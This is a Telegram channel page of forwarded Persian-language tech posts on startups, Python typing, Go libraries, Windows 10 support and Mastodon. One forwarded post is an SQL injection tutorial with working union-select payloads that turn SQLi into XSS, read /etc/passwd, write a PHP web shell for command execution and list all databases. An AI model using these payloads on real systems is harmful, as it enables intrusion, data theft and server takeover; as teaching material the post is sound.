Dev Perfects
40 subscribers
9.23K photos
1.26K videos
468 files
13K links
بخوام خیلی خلاصه بگم
این کانال میاد مطالب کانالای خفن تو حوزه تکنولوژی و برنامه نویسی رو جمع میکنه

پست پین رو بخونید
https://t.iss.one/dev_perfects/455


ارتباط:
https://t.iss.one/HidenChat_Bot?start=936082426
Download Telegram
Forwarded from Linuxor ?
وقتی استارتاپ شروع می‌کنید، دیگه شما فقط کامپیوتری نیستین

شما باید اقتصاد بدونید، بازاریابی بدونید، از خلاقیت و نوآوری بدونید، حل مسئله بدونید، رهبری بدونید، کاغذ بازی با سامانه های ایران رو بدونید، حتی باید حرف زدن و قانع کردن هم بدونید ؛؛؛؛ برنامه سازی و پیاده سازیش فقط یه بخش کوچیکیشه.


باید همشو حداقلی بدونید و حواستون باشه اگه تو یکیش خفن اید مثلا می‌تونین حرفه ای کد بزنین به احتمال زیاد وقت نداشتین که بقیه موارد رو یاد بگیرین و این یعنی شانستون برای موفقیت برعکس چیزی که فکر می‌کنید کمتره :)


🐧 @Linuxor
Forwarded from 🎄 یک برنامه نویس تنبل (The Lazy 🌱 Raymond)
🔶 فاطمه مهاجرانی، سخنگوی دولت، با انتشار پستی در ایکس نوشت که «درمورد نرخ تعرفه واردات اشتباهی رخ داده که به‌زودی اصلاح و به اطلاع شهروندان محترم خواهد رسید.» برهمین اساس، به‌نظر می‌رسد که دولت پس‌از مشاهده‌ی موج واکنش منفی، از تعرفه‌ی ۹۶ درصدی واردات آیفون، عقب‌نشینی کرده است.

#خبر

@TheRaymondDev
Forwarded from Python BackendHub (Mani)
این پست جنبه اموزشی ندارد 😁

از وقتی برلین اومدم خیلی networking event میرم. در در حد هر یکی دو هفته یک بار. دوره همی فانه، کلی ادم و دوست جدید پیدا میکنم معمولا بعدش هم میریم بیرون. نکته ای که خیلی برام جالبه اینه که همه دارن یک کمپانی AI میسازن تو این event ها، و دنبال فاند raise کردن هستن که پروداکتشون رو لانچ کنند. این AI خیلی بیش از حد ترند شده مخصوصا تو VC و fundraising. اصلا انگار مردم یادشون رفته تا سال پیش هم AI وجود داشته 😅

یک استارت آپ داشت pitch انجام میداد، کارشون این بود که بگن از چه پروداکت skin care چک کن با استفاده از دوربین گوشیت. همون کاری که بری یک لوازم ارایش فروشی اون فروشنده تو ۲ دقیقه انجام میده. و این پروسه ای هست که نیاز به human interaction داره.

و چیزی که خیلیا دیدم فراموش میکنن بیزنس مدل و استراتژی فروش هست. اوکی پروداکتت خیلی باحاله ولی چرا یک e-commerce باید ده هزار یورو خرج همچین فیچری کنه؟ اصلا چه سود مالی داره همچین چیزی؟

بنظره من این عنصر پروداکت که بتونی قانع کنی کلاینتو و بتونی یک چیزی راه بندازی تو خیلی از این پروداکت های جدید AI وجود نداره و میخوان با چکش AI هرجوری شده هر میخی رو بکوبن تو دیوار.

@PyBackendHub
Forwarded from Linuxor ?
تبریییک 1K شدنمون مبارک 🎉

جا داره از این افراد و چنل های زیر که مارو خالصانه پروموت کردن هم تشکر کنم واقعا اگر پروموت های شما نبود به این نقطه هیچ وقت نمیرسیدیم.

+ حمید دانشگری (توییتر)
+ محمد عابدینی (lpicFarsi) و جادی
+ بهراد و هنتای کدر
+ حسین سیلانی ( توسعه دهنده Emperor-OS و Predator-OS)
+ سید مهدی Diary
+ چنل های La3tKnight و Foss Station
+ کاظمی (دبیر انجمن علمی دانشگاه محقق اردبیلی)
+ و جمعی از بچه های دانشگاه زنجان

و کلی از دوستان و چنل های دیگه که توی آمار هایی که تلگرام بهم نشون میده نبودن و باعث شدن ما بیشتر دیده بشیم.❤️

🐧 @Linuxor ~ Sepehr Soheili
Forwarded from Sadra Codes
Typescript >>> Python's Typing (type checking libs, intellisense libs..)
Forwarded from Sadra Codes
توی عکس بالا، لاین ۳ درصورتی اجرا میشه که data استرینگ باشه و خب ما متد strip واسه آبجکت استرینگ داریم پس نباید مشکلی وجود داشته باشه. ولی mypy میگه از اونجا که dataی تو میتونه یا استرینگ یا اینت باشه، متد strip واسه دوتای این تایپا وجود ندارن! یعنی انگار mypy اصلا if statement منو نادیده گرفته. همین اتفاق واسه else هم افتاده. طبعا اگه تایپ dataی من استرینگ نبود، قطعا int یا یه چیز دیگه هست. ینی int | Any (که از اونجا که تابع من یا int میگیره یا str، باید بیخیال Any شه) و در بدنه else با data جوری تا کنه که انگار intه ولی هنوز (حتی بعد از if اول که) داره با طرز تفکر str | int چک می‌کنه که این جالب نیس!

و حالا اینو بهتون بگم، typescript هیچ کدوم از این مشکلا رو نداره که هیچ، به شکل وحشتناکی هوشمنده! یعنی فرض کن یه فانکش داری ۱۰۰ خط، یه متغیر رو همه بلا سرش آوردی.. الان لاین ۱۲۰ هستی. اینتلی‌سنسش می‌دونه الان امکان داره متغیرت ها در چه وضعی باشن.. تمام حالات رو (طبق کدی که نوشتی) بهت نشون میده!

یک مثال اینتلی‌سنسی هم در این توییت نشون دادم. (از پای‌لنس استفاده می‌کنم)
Forwarded from Gopher Academy
🔵 عنوان مقاله
Giu 0.9: A Dear ImGui-Based Cross Platform GUI Framework

🟢 خلاصه مقاله:
مقاله‌ای که مورد بررسی قرار گرفته است به توضیح و بررسی نحوه ساخت برنامه‌های کاربردی گرافیکی (GUI) با استفاده از زبان برنامه‌نویسی Go بر بستر کتابخانه Dear ImGui پرداخته است. نسخه 0.9 این فریمورک به عنوان نسخه‌ای که تغییرات عمده‌ای ندارد شناخته شده، اما قابلیت‌های فریمورک را تکمیل کرده و مستندات بیشتری به آن افزوده شده است. این افزایش مستندات به توسعه‌دهندگان کمک می‌کند تا با استفاده از این ابزار بهترین بهره‌برداری را داشته باشند و بتوانند برنامه‌های کاربردی GUI قدرتمند و کارآمدی را توسعه دهند.

🟣لینک مقاله:
https://golangweekly.com/link/160773/web


👑 @gopher_academy
Forwarded from Geek Alerts
پشتیبانی مایکروسافت از ویندوز ۱۰، مهر ۱۴۰۴ تموم میشه و بعد این تاریخ ویندوز ۱۰ دیگه امن نیست، حالا تو خبر جدید گفته اگه میخواید آپدیت‌های امنیتی بعد این تاریخ برای ویندوز ۱۰ شما انجام بشه باید سالانه ۳۰ دلار پرداخت کنید.
در واقع کاربرها به خاطر پیش‌شرط داشتن ماژول TPM 2.0 نمیتونن از ویندوز ۱۰ به ویندوز ۱۱ آپدیت کنن.
این ماژول روی تمام دستگاه‌های جدیدی که چند سال اخیر تولید شدن وجود داره، اما اگه لپ‌تاپ یا سیستم قدیمی داشته باشید امکان آپدیت به ویندوز ۱۱ نیست.
از طرفی البته ماژول TPM 2.0 رو میشه به صورت جداگانه با قیمت ۲۰ دلار تهیه کرد و روی مادربورد نصب کرد که البته در ایران این ماژول خیلی کمیاب هست.
windows
@geekalerts
Forwarded from Geniuses Group (Omid Hekayati)
برای پیاده سازی مفهوم aggregate (نه محدود به تبیین ارائه شده در DDD) ترجیح شما کدام لایه است؟ با فرض لایه های کلی زیر، فکر می کنید کدام لایه پاسخ مناسب تری برای پیاده سازی این مفهوم هست؟ (دلیل را هم کامنت بذارید که عالی میشه)
Anonymous Poll
46%
Storage (DB, by join function)
37%
Business Logic
17%
GUI
Forwarded from Web Application Security
آسیب پذیری SQL injection =

از اونجایی که هرکسی با مقدمات این آسیب پذیری و اکسپلویتش به روش union رو بلده، خودِ آسیب پذیری رو توضیح نمیدیم و مستقیم میریم سراغ نکاتی که در این آسیب پذیری باید رعایت کنیم.

فرض کنین که با order by تعداد column های وب سایت رو به دست آوردیم و دستور union select ما به این شکله:
app.php?id=-1 union select 1,2,3,4,5,6,7,8,9--

1⃣ تبدیل SQLi به XSS:
بعد از مشاهده ی خروجی دستور union select میتونیم به جای عددهایی که تو خروجی به ما نشون داده میشه، پیلود XSS بزنیم. ولی باید پیلود رو به hex تبدیل کنیم و قبلش 0x رو قرار بدیم. برای مثال پیلود <img/src/onerror=alert(document.domain)> وقتی تبدیل به hex میشه خروجی 3c696d672f7372632f6f6e6572726f723d616c65727428646f63756d656e742e646f6d61696e293e رو داریم. در نهایت پیلود ما به شکل زیر تغییر میکنه با اضافه کردن 0x قبل از مقدار hex.
app.php?id=-1 union select 1,0x3c696d672f7372632f6f6e6572726f723d616c65727428646f63756d656e742e646f6d61696e293e,3,4,5,6,7,8,9--

و XSS اتفاق میفته.

2⃣ خوندن فایل های درون سرور:
با دستور load_file میتونیم در mysql فایل بخونیم.
نکته: برای کار با فایل ها باید privilege لازم رو در دیتابیس و سیستم عامل داشته باشیم.
برای خوندن فایل passwd با SQLi:
app.php?id=-1 union select 1,load_file('/etc/passwd'),3,4,5,6,7,8,9--

3⃣ ساختن و نوشتن فایل درون سرور:
با دستور outfile میتونیم فایل بسازیم با محتوای دلخواه.
app.php?id=-1 union select 1,'hacked' into outfile '/tmp/hacked.txt',3,4,5,6,7,8,9--

نکته: میتونیم کد مخرب رو درون یه فایل php قرار بدیم و RCE بگیریم.
app.php?id=-1 union select 1,'<?php system($_GET['cmd']); ?>' into outfile '/var/www/html/shell.php',3,4,5,6,7,8,9--

واسه کار کردن این پیلود، همون طور که قبلا گفتیم باید دسترسی های لازم رو داشته باشیم. و همچنین باید فایل رو در مسیر وب سرور بسازیم که با مرورگر قابل دسترسی باشه و در آخر تنها باید فایل رو باز کنیم به شکل زیر:
shell.php?cmd=whoami

4⃣ دسترسی به سایر دیتابیس ها:
با استفاده از دستورات زیر داخل select میتونیم یوزر و نام دیتابیس جاری رو به دست بیاریم.
database()
@@database
Version()
@@version

ممکنه یوزر sql ما به دیتابیس های بیشتری دسترسی داشته باشه در صورتی که خیلی وقتا فقط اطلاعات دیتابیس جاری رو dump میگیریم و اصلا سراغ بقیه دیتابیس ها نمیریم.

به دست آوردن لیست همه ی دیتابیس ها:
app.php?id=-1 union select 1,group_concat(schema_name),3,4,5,6,7,8,9 from information_schema.schemata--

بعد از انتخاب دیتابیس مدنظر، مراحل اکسپلویت رو به روش group_concat که در اکسپلویت های عادی هم استفاده میکنیم جلو میبریم با این تفاوت که به جای ()database در پیلود که به دیتابیس جاری اشاره میکند، اسم دیتابیسی که به دست آوردیم رو قرار میدیم.

#SQLi
Forwarded from  (Amir Hossein "Amiria" Maher)
The United States of America is such a glorious mess of contradiction, such a crazy quilt of competing themes, such a fecund mishmash of people and ideas, that defining us is pretty much pointless. There is, of course, a kind of faded notion of "Americana", one that concerns Route 66, diners, freak rock formations, and the like—but even in its halcyon days this "roadside attraction" version of America was never an accurate or nuanced distillation of our massively complicated culture.

— Hampton Sides, Americana: Dispatches from the New Frontier

#quote
@amiria703_channel
Forwarded from  (Amir Hossein "Amiria" Maher)
seashells.io

Seashells lets you pipe output from command-line programs to the web in real-time.

#FLOSS #tool #معرفی
@amiria703_channel
Forwarded from  (Amir Hossein "Amiria" Maher)
هر وقت نشونه‌هایی از وجود یه آدم رو می‌بینم، ذوق زده می‌شم.
این حسّ یه خورده عجیبه چون کلّ این زیرساخت رو آدم‌ها ساختن ولی آدمی توش دیده نمی‌شه.

#موقت
ماستادون یک ویژگی رو اضافه کرده که به تولید‌کنندگان محتوا اجازه میده تا حساب ماستادونشون رو در پیش‌نمایش لینک‌ها نشون بدن.

برای این کار کافیه تا وارد تنظیماتتون، پابلیک پروفایل بشید و لینک سایتایی که می‌خواید این ویژگی رو داشته باشن رو وارد کنید.

بعدش وارد وبسایتتون می‌شید و داخل فایل index.html یا اگر از SSG ها استفاده می‌کنید داخل مارک‌داونتون یک
<div>

</div>


باز کنید و این تگ html رو وارد کنید:

<meta name="fediverse:creator" content="@[email protected]">


صدالبته باید اینستنس خودتون رو بجای
@username@instance.com
بنویسید :)


@SohrabContents
Forwarded from Gopher Academy
وضعیت این روزها.....

👑 @gopher_academy
و راستی فید بلاگم رو هم درست کردم، این همه وقت الکی خودمو اذیت کردم مشکلش این بود که توی ورک‌فلو بیلد زولایی که استفاده می‌شد قدیمی بود :)))


https://blogfa.sohrabbehdani.ir/atom.xml


@SohrabContents
توصیه امروز:

هیچوقت دیر نیست

#توصیه

🔆 CHANNEL | GROUP
Forwarded from Gopher Academy
🔵 عنوان مقاله
Watermill: Library for Building Event-Driven Apps

🟢 خلاصه مقاله:
این مقاله به بررسی کتابخانه‌ای برای کار با جریان‌های پیام در برنامه‌های مبتنی بر رویداد می‌پردازد که امکان پشتیبانی از کانال‌های مختلفی مانند Kafka، RabbitMQ، HTTP و حتی binlogs MySQL را فراهم می‌سازد. این کتابخانه ابزاری قدرتمند برای توسعه‌دهندگان نرم‌افزار است تا بتوانند به طور موثرتری اپلیکیشن‌های درون‌ران و پاسخ‌گو به رویدادها را بسازند. کاربرد این کتابخانه شامل برقراری ارتباط بین کامپوننت‌ها و سیستم‌ها از طریق جریان‌های پیام است که امکان پردازش و تحلیل داده‌ها را در زمان واقعی فراهم می‌آورد. دستیابی به این شیوه از ارتباط درون سرویسی این امکان را به توسعه‌دهندگان می‌دهد که پیچیدگی‌های مدیریت ارتباطات و جریان داده‌ها را بهینه‌سازی کنند و بتوانند رابط‌کاربری‌های بیشتر متکی بر اینتراکتیویتی و داده‌ی مداوم را ارائه دهند. در نهایت، این کتابخانه به فرآیند توسعه اپلیکیشن‌های پیچیده‌تر و در عین حال کارآمدتر کمک شایانی می‌کند.

🟣لینک مقاله:
https://golangweekly.com/link/160776/web


👑 @gopher_academy
یک دستی هم به سر بلاگ انگلیسیم کشیدم، احتمالاً فعالیتم رو توی این هم از سر بگیرم‌:))

https://sohrabbehdani.ir/blog/


@SohrabContents
Forwarded from Python Hints
https://meet.google.com/nxd-uebs-ams

لطفا قبل از ورود میکرفون - ویدئو رو خاموش کنید.
بدون اکانت جیمیل هم وارد نشید
Forwarded from Python Hints
2min to start